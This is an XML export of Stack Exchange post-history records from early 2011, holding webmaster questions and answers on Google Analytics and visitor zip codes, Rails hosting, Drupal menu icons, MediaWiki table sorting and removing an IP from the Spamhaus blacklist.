  <row Id="17816" PostHistoryTypeId="3" PostId="8285" RevisionGUID="b2b764e7-a09a-41c4-857b-ee3903f6cdf1" CreationDate="2011-01-26T08:31:43.500" UserId="1130" Text="&lt;php&gt;&lt;wordpress&gt;&lt;registration&gt;" />
  <row Id="17818" PostHistoryTypeId="2" PostId="8287" RevisionGUID="685ebb5c-d105-433c-adc1-79eda64edc66" CreationDate="2011-01-26T09:55:46.997" UserId="1064" Text="Are you familiar with [sfGuard][1] ..?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.symfony-project.org/plugins/sfGuardPlugin" />
  <row Id="17819" PostHistoryTypeId="2" PostId="8288" RevisionGUID="6e08ce7e-8dd4-4887-8821-edbac4f67c50" CreationDate="2011-01-26T10:02:20.153" UserId="3903" Text="Has wordpress not already got a register option for users? Quick google search:&#xD;&#xA;&#xD;&#xA;http://www.cozmoslabs.com/2010/05/31/wordpress-user-registration-template-and-custom-user-profile-fields/&#xD;&#xA;&#xD;&#xA;Hope this helps. " />
  <row Id="17820" PostHistoryTypeId="2" PostId="8289" RevisionGUID="7d6bb218-2cc3-4507-86bd-ce9b6872390e" CreationDate="2011-01-26T10:31:18.657" UserId="4461" Text="The inclusion of the date is not mandatory in all countries, but the date, and the name, along with the symbol (legal device) form part of the formal assertion of rights. See: http://en.wikipedia.org/wiki/Copyright_notice" />
  <row Id="17821" PostHistoryTypeId="17" PostId="8291" RevisionGUID="a750b3ea-0bad-432a-8bee-3011d7456c62" CreationDate="2011-01-26T10:47:02.820" UserId="-1" Comment="from http://stackoverflow.com/questions/4800291/is-it-possible-to-get-the-zip-codes-of-visitors-with-google-analytics/4800804#4800804" Text="" />
  <row Id="17822" PostHistoryTypeId="2" PostId="8291" RevisionGUID="90e6f3d1-3db0-4d72-bee7-0b6c03db5b79" CreationDate="2011-01-26T02:03:18.393" UserDisplayName="Crayon Violent" Text="No, this is not possible, unless you get it from the user from for instance a form and put it in a custom variable...but I'm pretty sure recording that information is against Google's privacy policy. " />
  <row Id="17823" PostHistoryTypeId="2" PostId="8290" RevisionGUID="8561b91c-eba1-4db1-b9f7-ea9f480de745" CreationDate="2011-01-26T00:13:27.257" UserDisplayName="Erik" Text="I'm currently using Google Analytics.  I'm trying to find out if it's possible to get the zip codes of those visiting my website.  The Cities seem to be too broad.&#xD;&#xA;&#xD;&#xA;For example, Los Angeles is huge and has several zip codes.  Is it possible to narrow the users location to a zip code?&#xD;&#xA;&#xD;&#xA;Many thanks.&#xD;&#xA;&#xD;&#xA;Erik  " />
  <row Id="17824" PostHistoryTypeId="1" PostId="8290" RevisionGUID="8561b91c-eba1-4db1-b9f7-ea9f480de745" CreationDate="2011-01-26T00:13:27.257" UserDisplayName="Erik" Text="Is it possible to get the zip codes of visitors with Google Analytics?" />
  <row Id="17825" PostHistoryTypeId="3" PostId="8290" RevisionGUID="8561b91c-eba1-4db1-b9f7-ea9f480de745" CreationDate="2011-01-26T00:13:27.257" UserDisplayName="Erik" Text="&lt;google-analytics&gt;" />
  <row Id="17826" PostHistoryTypeId="17" PostId="8290" RevisionGUID="0f53ee44-f097-462c-b45d-b0c3bc2c8a1d" CreationDate="2011-01-26T10:47:02.820" UserId="-1" Comment="from http://stackoverflow.com/questions/4800291/is-it-possible-to-get-the-zip-codes-of-visitors-with-google-analytics" Text="" />
  <row Id="17827" PostHistoryTypeId="2" PostId="8292" RevisionGUID="f4e61a1d-dcaf-43a6-99b1-e750cf1bff07" CreationDate="2011-01-26T10:50:31.947" UserId="3310" Text="Because sites still link to the original URL and not the new one. The number of visitors won't have dropped but links are weighted higher than visitors in the algorithm.&#xD;&#xA;&#xD;&#xA;PR is not transferred from one site to another with any type of redirection, it always needs to build it up again.  Having the right redirects is merely the quickest way for this to happen." />
  <row Id="17828" PostHistoryTypeId="25" PostId="8285" RevisionGUID="cca96291-b1e2-4903-816c-4e43ab217fa3" CreationDate="2011-01-26T10:55:51.040" Comment="http://twitter.com/#!/StackWebmasters/status/30217344332595200" />
  <row Id="17833" PostHistoryTypeId="2" PostId="8294" RevisionGUID="e6701a49-d513-4296-9b16-641bd377e671" CreationDate="2011-01-26T12:35:35.270" UserId="108" Text="I don't know much about Gimp but there are 2 ways to do it in PhotoShop.  Also, if the files were created in PhotoShop Gimp can have issues showing all of the layers so it may not even be a viable solution.&#xD;&#xA;&#xD;&#xA;The first way is create slices with the slice tool and then do File&gt;Save for Web &amp; Devices. This will allow you to save the page in chunks.  This is a very easy way to do what you want and it is the way I do it.  It allows you to create images of multiple layers together.&#xD;&#xA;&#xD;&#xA;The other option is to use File&gt;Scripts&gt;Export Layers to File.  I have had limited success with this.  If you have a lot of layers this will take forever.  Even if you have a few layers it might not be your best solution because if you have 2 images that need to go together to make 1 image on the site and they are in different layers they will come out separately.&#xD;&#xA;" />
  <row Id="17837" PostHistoryTypeId="2" PostId="8295" RevisionGUID="583fe2ee-29b5-430d-aabc-1511d81bbf69" CreationDate="2011-01-26T13:09:44.367" UserId="1757" Text="As RandomBen alludes to, this is probably something you need to discuss with the programmer. Give him the requirements for the project, and he should be able to tell you what kind of hosting plan you need.&#xD;&#xA;&#xD;&#xA;Most decent hosting plans allow you to create SFTP and shell accounts that are separate from your main billing account. With shared hosting, you may need to create a database for him via your web host's admin panel. In most cases, this is all the developer needs to develop and set up the site.&#xD;&#xA;&#xD;&#xA;However, unless you're trying to develop a custom application or online service, you would probably be better off spending your money on a web designer and using an open source CMS. For most businesses, this is a better value than hiring a programmer/developer." />
  <row Id="17838" PostHistoryTypeId="17" PostId="8297" RevisionGUID="9d4d77fc-07da-4848-811c-54782f5b3446" CreationDate="2011-01-26T13:50:47.923" UserId="-1" Comment="from http://serverfault.com/questions/179799/menu-icons-in-drupal/194089#194089" Text="" />
  <row Id="17839" PostHistoryTypeId="2" PostId="8297" RevisionGUID="e301866b-7c4e-4439-b2e5-3e3283f658fe" CreationDate="2010-10-23T11:20:25.093" UserDisplayName="patlc" Text="http://drupal.org/project/menu_icons&#xD;&#xA;u" />
  <row Id="17840" PostHistoryTypeId="2" PostId="8296" RevisionGUID="0c26c391-efa3-418f-b0b3-30ffce0e9652" CreationDate="2010-09-10T07:14:40.867" UserDisplayName="Jacob" Text="How do I get menu icons in drupal? I have the menu icons module....but are there menu icon themes or packs or something?&#xD;&#xA;&#xD;&#xA;I am using the deco theme, and want menu icons like thus: ![alt text][1]&#xD;&#xA;&#xD;&#xA;What is the easiest way to do this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/YprMH.png" />
  <row Id="17841" PostHistoryTypeId="1" PostId="8296" RevisionGUID="0c26c391-efa3-418f-b0b3-30ffce0e9652" CreationDate="2010-09-10T07:14:40.867" UserDisplayName="Jacob" Text="Menu icons in Drupal?" />
  <row Id="17842" PostHistoryTypeId="3" PostId="8296" RevisionGUID="0c26c391-efa3-418f-b0b3-30ffce0e9652" CreationDate="2010-09-10T07:14:40.867" UserDisplayName="Jacob" Text="&lt;drupal&gt;&lt;cms&gt;&lt;drupal-6&gt;" />
  <row Id="17843" PostHistoryTypeId="17" PostId="8296" RevisionGUID="c06ff472-e4ee-40e6-af7e-69469cfb99c9" CreationDate="2011-01-26T13:50:47.923" UserId="-1" Comment="from http://serverfault.com/questions/179799/menu-icons-in-drupal" Text="" />
  <row Id="17844" PostHistoryTypeId="2" PostId="8298" RevisionGUID="8dd54935-d6ad-44ae-a0ae-73d3ef0ebb0c" CreationDate="2011-01-26T13:54:52.800" UserId="4803" Text="I use HostMonster.com. It's a great website that offers a lot of hosting space / features at a pretty low price. ~$14/mo for everything. It includes a great control panel for everything you need.&#xD;&#xA;&#xD;&#xA;All you need to do is make an FTP account for your programmer, give him the username/password and he can use third-party software to upload the files. You might have to do a little configuring for him (Such as creating an SQL database, but all of that is really simple)." />
  <row Id="17845" PostHistoryTypeId="25" PostId="8281" RevisionGUID="d3ecfd2c-703c-40ca-a313-e0744025f083" CreationDate="2011-01-26T13:55:50.823" Comment="http://twitter.com/#!/StackWebmasters/status/30262641981132800" />
  <row Id="17852" PostHistoryTypeId="5" PostId="8227" RevisionGUID="3945f659-3299-4bb5-bae0-db2bbcc8b159" CreationDate="2011-01-26T15:22:07.583" UserId="4643" Comment="added 387 characters in body" Text="[KeyCAPTCHA][1] is free and was never broken.   &#xD;&#xA;I do not think that there is alterantive to captcha - how one would protect registration or contact forms without?   &#xD;&#xA;&#xD;&#xA;Akismet is just always running few steps behind spammers if not [directly facilitating spammers and blocking legitimate users][2]. I daresay it is only promoting spam.    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/3613023/if-i-use-captcha-will-i-be-able-to-stop-the-spam-completely-in-my-blog/4790395#4790395&#xD;&#xA;  [2]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734" />
  <row Id="17853" PostHistoryTypeId="2" PostId="8299" RevisionGUID="65df65bc-0a5f-499f-bad6-b484441b02c9" CreationDate="2011-01-26T13:53:32.803" UserDisplayName="mark" Text="I'm using google analytics in an android application via their sdk. Do I need to show end users any terms of service since analytics are being used, ie. notify them that their usage is being anonymously collected? Or, since it's all anonymous, I don't really have to show them anything? I'm just collected stuff like what screens are being viewed, nothing personal,&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="17854" PostHistoryTypeId="1" PostId="8299" RevisionGUID="65df65bc-0a5f-499f-bad6-b484441b02c9" CreationDate="2011-01-26T13:53:32.803" UserDisplayName="mark" Text="Google Analytics - need to let users know they're being anonymously tracked?" />
  <row Id="17855" PostHistoryTypeId="3" PostId="8299" RevisionGUID="65df65bc-0a5f-499f-bad6-b484441b02c9" CreationDate="2011-01-26T13:53:32.803" UserDisplayName="mark" Text="&lt;google-analytics&gt;" />
  <row Id="17856" PostHistoryTypeId="17" PostId="8299" RevisionGUID="03f7c60a-22ce-4f99-b774-c9f7339e99db" CreationDate="2011-01-26T15:44:43.080" UserId="-1" Comment="from http://superuser.com/questions/238041/google-analytics-need-to-let-users-know-theyre-being-anonymously-tracked" Text="" />
  <row Id="17857" PostHistoryTypeId="2" PostId="8300" RevisionGUID="517505b8-3431-4c3e-be1d-20a3175b6de3" CreationDate="2011-01-26T16:00:02.550" UserId="4011" Text="If you do not already have a terms of services screen, I would not add one just for that,the data collected is anonymous and is used purely to better develop the application in the future. Tracking system like that is almost a &quot;standard&quot; in the development of a website/apps to better understand our users.&#xD;&#xA;&#xD;&#xA;It is also far from &quot;privacy invasion&quot; to know that 72% of users (let's say 100 000 users) check Highscore after their game or that 18% of users play more than 10 games..." />
  <row Id="17858" PostHistoryTypeId="2" PostId="8301" RevisionGUID="006d42c9-a569-4575-9c16-efbcd4b09d03" CreationDate="2011-01-26T16:07:11.697" UserId="1253" Text="Let them know. It's a good practice and easy to do. A basic privacy policy, which can easily obtained online and edited to suit your needs, is all it takes. Plus it covers your butt in the unlikely case that someone gets bent out of shape about it. I'd say it's worth the five or ten minutes you spend on it." />
  <row Id="17860" PostHistoryTypeId="25" PostId="8299" RevisionGUID="e691ff18-af16-452a-9817-c760dde30546" CreationDate="2011-01-26T16:55:51.973" Comment="http://twitter.com/#!/StackWebmasters/status/30307944562171905" />
  <row Id="17861" PostHistoryTypeId="2" PostId="8303" RevisionGUID="f94bfcc3-a093-4d92-8c8d-637bbb0e770f" CreationDate="2011-01-26T17:25:00.957" UserId="576" Text="While this may not be possible with Google Analytics, you could probably build a custom tool with [MaxMind GeoIP City Database][1] which can &quot;determine country, state/region, city, US postal code, US area code, metro code, latitude, and longitude information for IP addresses worldwide&quot;. &#xD;&#xA;&#xD;&#xA;With their [online demo tool][2] you can perform 25 demo lookups per day to get zip codes for IP addresses of visitors (doesn't work in all cases).&#xD;&#xA;&#xD;&#xA;This can be a little scary if someone is trying the tool out (snooping) with your IP address.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.maxmind.com/app/city&#xD;&#xA;  [2]: http://www.maxmind.com/app/lookup_city" />
  <row Id="17862" PostHistoryTypeId="17" PostId="8305" RevisionGUID="9f0743a6-5869-48b4-a545-c10a9a99b754" CreationDate="2011-01-26T18:26:08.227" UserId="-1" Comment="from http://serverfault.com/questions/227207/recomendation-of-ruby-on-rails-hosting/227210#227210" Text="" />
  <row Id="17863" PostHistoryTypeId="17" PostId="8306" RevisionGUID="f2802d1f-a3d1-4d58-8f57-11f7d1756573" CreationDate="2011-01-26T18:26:08.227" UserId="-1" Comment="from http://serverfault.com/questions/227207/recomendation-of-ruby-on-rails-hosting/227212#227212" Text="" />
  <row Id="17864" PostHistoryTypeId="17" PostId="8307" RevisionGUID="384a283f-36a9-4751-a5c8-d949f0c46886" CreationDate="2011-01-26T18:26:08.227" UserId="-1" Comment="from http://serverfault.com/questions/227207/recomendation-of-ruby-on-rails-hosting/227216#227216" Text="" />
  <row Id="17865" PostHistoryTypeId="2" PostId="8305" RevisionGUID="1e935547-ac81-454c-903c-934ed0a9f692" CreationDate="2011-01-26T17:01:59.643" UserDisplayName="emzero" Text="[DreamHost][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dreamhost.com" />
  <row Id="17866" PostHistoryTypeId="16" PostId="8305" RevisionGUID="1e935547-ac81-454c-903c-934ed0a9f692" CreationDate="2011-01-26T17:01:59.643" UserId="-1" />
  <row Id="17867" PostHistoryTypeId="2" PostId="8306" RevisionGUID="da9dc30d-7921-400d-a8ba-8c46eeb613f9" CreationDate="2011-01-26T17:02:47.847" UserDisplayName="emzero" Text="[BlueHost][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bluehost.com" />
  <row Id="17868" PostHistoryTypeId="16" PostId="8306" RevisionGUID="da9dc30d-7921-400d-a8ba-8c46eeb613f9" CreationDate="2011-01-26T17:02:47.847" UserId="-1" />
  <row Id="17869" PostHistoryTypeId="2" PostId="8307" RevisionGUID="976f5452-5d6b-4c5d-a15f-5c8e45c30fc0" CreationDate="2011-01-26T17:04:18.097" UserDisplayName="emzero" Text="[HostGator][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hostgator.com" />
  <row Id="17870" PostHistoryTypeId="16" PostId="8307" RevisionGUID="976f5452-5d6b-4c5d-a15f-5c8e45c30fc0" CreationDate="2011-01-26T17:04:18.097" UserId="-1" />
  <row Id="17871" PostHistoryTypeId="2" PostId="8304" RevisionGUID="8461bcbb-4f39-4207-bdb0-1c5e09d82d39" CreationDate="2011-01-26T16:57:42.063" UserDisplayName="emzero" Text="We're looking for a good Ruby on Rails hosting. Basically we need the following features:&#xD;&#xA;&#xD;&#xA; - Unlimited disk space and monthly bandwidth&#xD;&#xA; - Unlimited domains&#xD;&#xA; - Full SSH access&#xD;&#xA; - Support various versions of Rails (2.3.8 and 3.0 for ex.)&#xD;&#xA; - Passenger and capistrano deployment support&#xD;&#xA; - EXCELLENT client support: We're new at Ruby on Rails, so currently we have several problems when deploying rails app. Our current hosting (RailsPlayground) offers awesome support, but we are looking for a new one because of the disk space and bandwidth limits.&#xD;&#xA; - A nice panel (cPanel or similar).&#xD;&#xA; - Basically we need to focus on application development and not worry too much about deployment and related stuff.&#xD;&#xA; - Fair price&#xD;&#xA;&#xD;&#xA;We need a truly Ruby on Rails hosting, with people that have expertise in deploying and hosting Rails apps., not just a normal hosting that someday decided to install ruby and rails just to support it, if you know what I mean. &#xD;&#xA;&#xD;&#xA;We don't need high performance, we need to host several rails applications. If one application is getting lots of traffic and needs better performance, then we'll move it to a VPS or some high-scalable and performance hosting.&#xD;&#xA;&#xD;&#xA;I'll create some answers with a few hostings that I've been recommended. Please feel free to vote and add comments about them or reply with another.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="17872" PostHistoryTypeId="1" PostId="8304" RevisionGUID="8461bcbb-4f39-4207-bdb0-1c5e09d82d39" CreationDate="2011-01-26T16:57:42.063" UserDisplayName="emzero" Text="Recomendation of Ruby on Rails hosting" />
  <row Id="17873" PostHistoryTypeId="3" PostId="8304" RevisionGUID="8461bcbb-4f39-4207-bdb0-1c5e09d82d39" CreationDate="2011-01-26T16:57:42.063" UserDisplayName="emzero" Text="&lt;web-hosting&gt;&lt;ruby-on-rails&gt;" />
  <row Id="17874" PostHistoryTypeId="16" PostId="8304" RevisionGUID="8461bcbb-4f39-4207-bdb0-1c5e09d82d39" CreationDate="2011-01-26T16:57:42.063" UserId="-1" />
  <row Id="17875" PostHistoryTypeId="17" PostId="8304" RevisionGUID="dea304ea-72c0-4258-940f-8ed25320bd4b" CreationDate="2011-01-26T18:26:08.227" UserId="-1" Comment="from http://serverfault.com/questions/227207/recomendation-of-ruby-on-rails-hosting" Text="" />
  <row Id="17876" PostHistoryTypeId="2" PostId="8308" RevisionGUID="cc011880-522f-45ac-a5a3-727aabfb6d7a" CreationDate="2011-01-26T18:27:37.687" UserId="4928" Text="Actually, it should be possible.&#xD;&#xA;&#xD;&#xA;While I haven't tried this myself, you can get latitude and longitude information via the GA API:&#xD;&#xA;&#xD;&#xA;http://code.google.com/apis/analytics/docs/gdata/gdataReferenceDimensionsMetrics.html&#xD;&#xA;&#xD;&#xA;I'm guessing that there are tools that can translate from Long / Lat to zip.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17877" PostHistoryTypeId="2" PostId="8309" RevisionGUID="6fc93025-6b47-4c3d-8ad1-286569744f2c" CreationDate="2011-01-26T18:27:43.647" UserId="210" Text="You better bet is to use a geo location service or database, like [www.ip2location.com][1]. You'll need to keep track of it yourself, possibly sending it to Google Analytics. Unfortunately, it still won't give you an exact zip or postal code.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ip2location.com/" />
  <row Id="17878" PostHistoryTypeId="10" PostId="8304" RevisionGUID="9b00a490-1da1-4dce-8004-80b70b02909e" CreationDate="2011-01-26T18:30:34.337" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="17879" PostHistoryTypeId="5" PostId="8304" RevisionGUID="f74ab1ec-1b96-437d-905b-924bc573076b" CreationDate="2011-01-26T18:30:34.447" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Web hosting options for Ruby on Rails applications](http://webmasters.stackexchange.com/questions/8129/web-hosting-options-for-ruby-on-rails-applications)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi,&#xD;&#xA;&#xD;&#xA;We're looking for a good Ruby on Rails hosting. Basically we need the following features:&#xD;&#xA;&#xD;&#xA; - Unlimited disk space and monthly bandwidth&#xD;&#xA; - Unlimited domains&#xD;&#xA; - Full SSH access&#xD;&#xA; - Support various versions of Rails (2.3.8 and 3.0 for ex.)&#xD;&#xA; - Passenger and capistrano deployment support&#xD;&#xA; - EXCELLENT client support: We're new at Ruby on Rails, so currently we have several problems when deploying rails app. Our current hosting (RailsPlayground) offers awesome support, but we are looking for a new one because of the disk space and bandwidth limits.&#xD;&#xA; - A nice panel (cPanel or similar).&#xD;&#xA; - Basically we need to focus on application development and not worry too much about deployment and related stuff.&#xD;&#xA; - Fair price&#xD;&#xA;&#xD;&#xA;We need a truly Ruby on Rails hosting, with people that have expertise in deploying and hosting Rails apps., not just a normal hosting that someday decided to install ruby and rails just to support it, if you know what I mean. &#xD;&#xA;&#xD;&#xA;We don't need high performance, we need to host several rails applications. If one application is getting lots of traffic and needs better performance, then we'll move it to a VPS or some high-scalable and performance hosting.&#xD;&#xA;&#xD;&#xA;I'll create some answers with a few hostings that I've been recommended. Please feel free to vote and add comments about them or reply with another.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="17880" PostHistoryTypeId="5" PostId="8220" RevisionGUID="920ec764-2881-4d96-9773-b9343401f795" CreationDate="2011-01-26T18:53:55.930" UserId="4304" Comment="deleted 15 characters in body" Text="Anyone able to help me with MediaWiki Tables?&#xD;&#xA;&#xD;&#xA;I've created a table in my companies Wiki (using mediawiki 1.13.4) which I can't for the life of me get to sort correctly. It will sort on the first two columns, but any column after that the sort doesn't happen.&#xD;&#xA;&#xD;&#xA;Here's the Wiki Markup i'm using (note I'm using templates to make it easier for others to help me maintain the table)&#xD;&#xA;&#xD;&#xA;The table itself (with only one item shown for brevity in the question)&#xD;&#xA;&#xD;&#xA;    {| border=&quot;1&quot; class=&quot;wikitable sortable&quot; style=&quot;text-align:center;&quot;&#xD;&#xA;    |+'''PTFS Europe Hosted Servers'''&#xD;&#xA;    |-&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; width=&quot;150px&quot;|Customer&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; width=&quot;100px&quot;|IP&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; width=&quot;100px&quot;|Usage&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;100px&quot;|Type&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;100px&quot;|Details&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Renewal&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Cost&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Renewal&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Value&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; class=&quot;unsortable&quot;|Notes&#xD;&#xA;    |- class=&quot;unsortable&quot;&#xD;&#xA;    !colspan=&quot;4&quot;|Hosting&#xD;&#xA;    !colspan=&quot;2&quot;|Maintanence&#xD;&#xA;    |-&#xD;&#xA;    {{server_item&#xD;&#xA;    |name=[http://abcd.abcd-abcd.eu Customer 1]&#xD;&#xA;    |ip=[[XXX.XXX.XXX.XXX]]&#xD;&#xA;    |usage=Stuff&#xD;&#xA;    |htype=Semi Dedicated &#xD;&#xA;    |hdetail=Linux&#xD;&#xA;    |hrenewal=XXXX-XX-XX&#xD;&#xA;    |hcost=£XXX.XX&#xD;&#xA;    |mrenewal=XXXX-XX-XX&#xD;&#xA;    |mvalue=£X,XXX.XX&#xD;&#xA;    |notes=Bi-Annual Support&#xD;&#xA;    }}&#xD;&#xA;&#xD;&#xA;and the template I've created to use to help fill the table.&#xD;&#xA;&#xD;&#xA;    |- class=&quot;sortbottom&quot;&#xD;&#xA;    | {{{name}}} || {{{ip}}} || {{{usage}}} || {{{htype}}} || {{{hdetail}}} || {{{hrenewal}}} || {{{hcost}}} || {{{mrenewal}}} || {{{mvalue}}} || {{{notes}}}&#xD;&#xA;&#xD;&#xA;Can't quite see what I'm missing... probably a case of can't see the wood for the trees..&#xD;&#xA;" />
  <row Id="17881" PostHistoryTypeId="5" PostId="8220" RevisionGUID="1cea766a-22da-46ce-9cfe-5dcac588062a" CreationDate="2011-01-26T18:59:22.833" UserId="4304" Comment="corrected first code example (removed accidental &quot;insert code here&quot;)" Text="Anyone able to help me with MediaWiki Tables?&#xD;&#xA;&#xD;&#xA;I've created a table in my companies Wiki (using mediawiki 1.13.4) which I can't for the life of me get to sort correctly. It will sort on the first two columns, but any column after that the sort doesn't happen.&#xD;&#xA;&#xD;&#xA;Here's the Wiki Markup i'm using (note I'm using templates to make it easier for others to help me maintain the table)&#xD;&#xA;&#xD;&#xA;The table itself (with only one item shown for brevity in the question)&#xD;&#xA;&#xD;&#xA;    {| border=&quot;1&quot; class=&quot;wikitable sortable&quot; style=&quot;text-align:center;&quot;&#xD;&#xA;    |+'''PTFS Europe Hosted Servers'''&#xD;&#xA;    |-&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; width=&quot;150px&quot;|Customer&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; width=&quot;100px&quot;|IP&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; width=&quot;100px&quot;|Usage&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;100px&quot;|Type&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;100px&quot;|Details&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Renewal&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Cost&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Renewal&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Value&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; class=&quot;unsortable&quot;|Notes&#xD;&#xA;    |- class=&quot;unsortable&quot;&#xD;&#xA;    !colspan=&quot;4&quot;|Hosting&#xD;&#xA;    !colspan=&quot;2&quot;|Maintanence&#xD;&#xA;    |-&#xD;&#xA;    {{server_item&#xD;&#xA;    |name=[http://abcd.abcd-abcd.eu Customer 1]&#xD;&#xA;    |ip=[[XXX.XXX.XXX.XXX]]&#xD;&#xA;    |usage=Stuff&#xD;&#xA;    |htype=Semi Dedicated &#xD;&#xA;    |hdetail=Linux&#xD;&#xA;    |hrenewal=XXXX-XX-XX&#xD;&#xA;    |hcost=£XXX.XX&#xD;&#xA;    |mrenewal=XXXX-XX-XX&#xD;&#xA;    |mvalue=£X,XXX.XX&#xD;&#xA;    |notes=Bi-Annual Support&#xD;&#xA;    }}&#xD;&#xA;    MORE ROW ITEMS HERE&#xD;&#xA;    |}&#xD;&#xA;&#xD;&#xA;and the template I've created to use to help fill the table.&#xD;&#xA;&#xD;&#xA;    |- class=&quot;sortbottom&quot;&#xD;&#xA;    | {{{name}}} || {{{ip}}} || {{{usage}}} || {{{htype}}} || {{{hdetail}}} || {{{hrenewal}}} || {{{hcost}}} || {{{mrenewal}}} || {{{mvalue}}} || {{{notes}}}&#xD;&#xA;&#xD;&#xA;Can't quite see what I'm missing... probably a case of can't see the wood for the trees..&#xD;&#xA;" />
  <row Id="17882" PostHistoryTypeId="2" PostId="8310" RevisionGUID="b93b1e3e-e2e2-43c8-a3f6-c7ec1e07da2b" CreationDate="2011-01-26T19:09:03.307" UserId="4304" Text="OK, I've done some more research into this and it seems it's actually a bug in the version of MediaWiki my company are running (v1.13.4).  It has however been fixed in later versions.&#xD;&#xA;&#xD;&#xA;Now to see if I can get them to allow me to update the software.&#xD;&#xA;&#xD;&#xA;Sorry guys, and thanks for your efforts!" />
  <row Id="17883" PostHistoryTypeId="2" PostId="8311" RevisionGUID="cd625ff8-d06f-444e-b29c-9fb9928dd9bf" CreationDate="2011-01-26T19:09:53.540" UserId="4643" Text="I frequently read that it is possible to remove individual ip-addresses from SPAMHAUS blacklisting.  &#xD;&#xA;&#xD;&#xA;OK. Here is 91.205.43.252 used by back2.stopspamers.com on a dedicated server in Switzerland.  &#xD;&#xA;The query [http://www.spamhaus.org/query/bl?ip=91.205.43.252][1]   tells that:  &#xD;&#xA;&#xD;&#xA;  - 91.205.43.252 is listed in the [SBL80808][2] blacklist&#xD;&#xA;&#xD;&#xA;And [SBL80808][3] blacklist tells:  &#xD;&#xA;&#xD;&#xA;  - &quot;Ref: SBL80808  &#xD;&#xA;   91.205.40.0/22 is listed on the Spamhaus Block List (SBL)  &#xD;&#xA;01-Apr-2010 05:52 GMT | SR04&#xD;&#xA;&#xD;&#xA;  Spamming and now seems this place is involved in other fraud&quot;  &#xD;&#xA;&#xD;&#xA;91.205.43.252 is not listed amongst criminal ip-addresses but there is no way to remove it individually from black listing. &#xD;&#xA; &#xD;&#xA;How to remove this individual  (91.205.43.252) address from SPAMHAUS blacklist?   &#xD;&#xA;ISP and dedicated server hoster do not answer.  &#xD;&#xA;&#xD;&#xA;And why the heck SPAMHAUS is blacklisting spam-stopping service?   &#xD;&#xA;&#xD;&#xA;  [1]: http://www.spamhaus.org/query/bl?ip=91.205.43.252&#xD;&#xA;  [2]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [3]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808" />
  <row Id="17884" PostHistoryTypeId="1" PostId="8311" RevisionGUID="cd625ff8-d06f-444e-b29c-9fb9928dd9bf" CreationDate="2011-01-26T19:09:53.540" UserId="4643" Text="How to get out of SPAMHAUS blacklist?" />
  <row Id="17885" PostHistoryTypeId="3" PostId="8311" RevisionGUID="cd625ff8-d06f-444e-b29c-9fb9928dd9bf" CreationDate="2011-01-26T19:09:53.540" UserId="4643" Text="&lt;spam&gt;&lt;spam-prevention&gt;&lt;dedicated-hosting&gt;&lt;spam-blocker&gt;" />
  <row Id="17886" PostHistoryTypeId="4" PostId="8311" RevisionGUID="46f0d7ed-f42c-43bd-ab35-aba67e4f0ae0" CreationDate="2011-01-26T19:18:01.087" UserId="4643" Comment="edited title" Text="How to get ip-address out of SPAMHAUS blacklist?" />
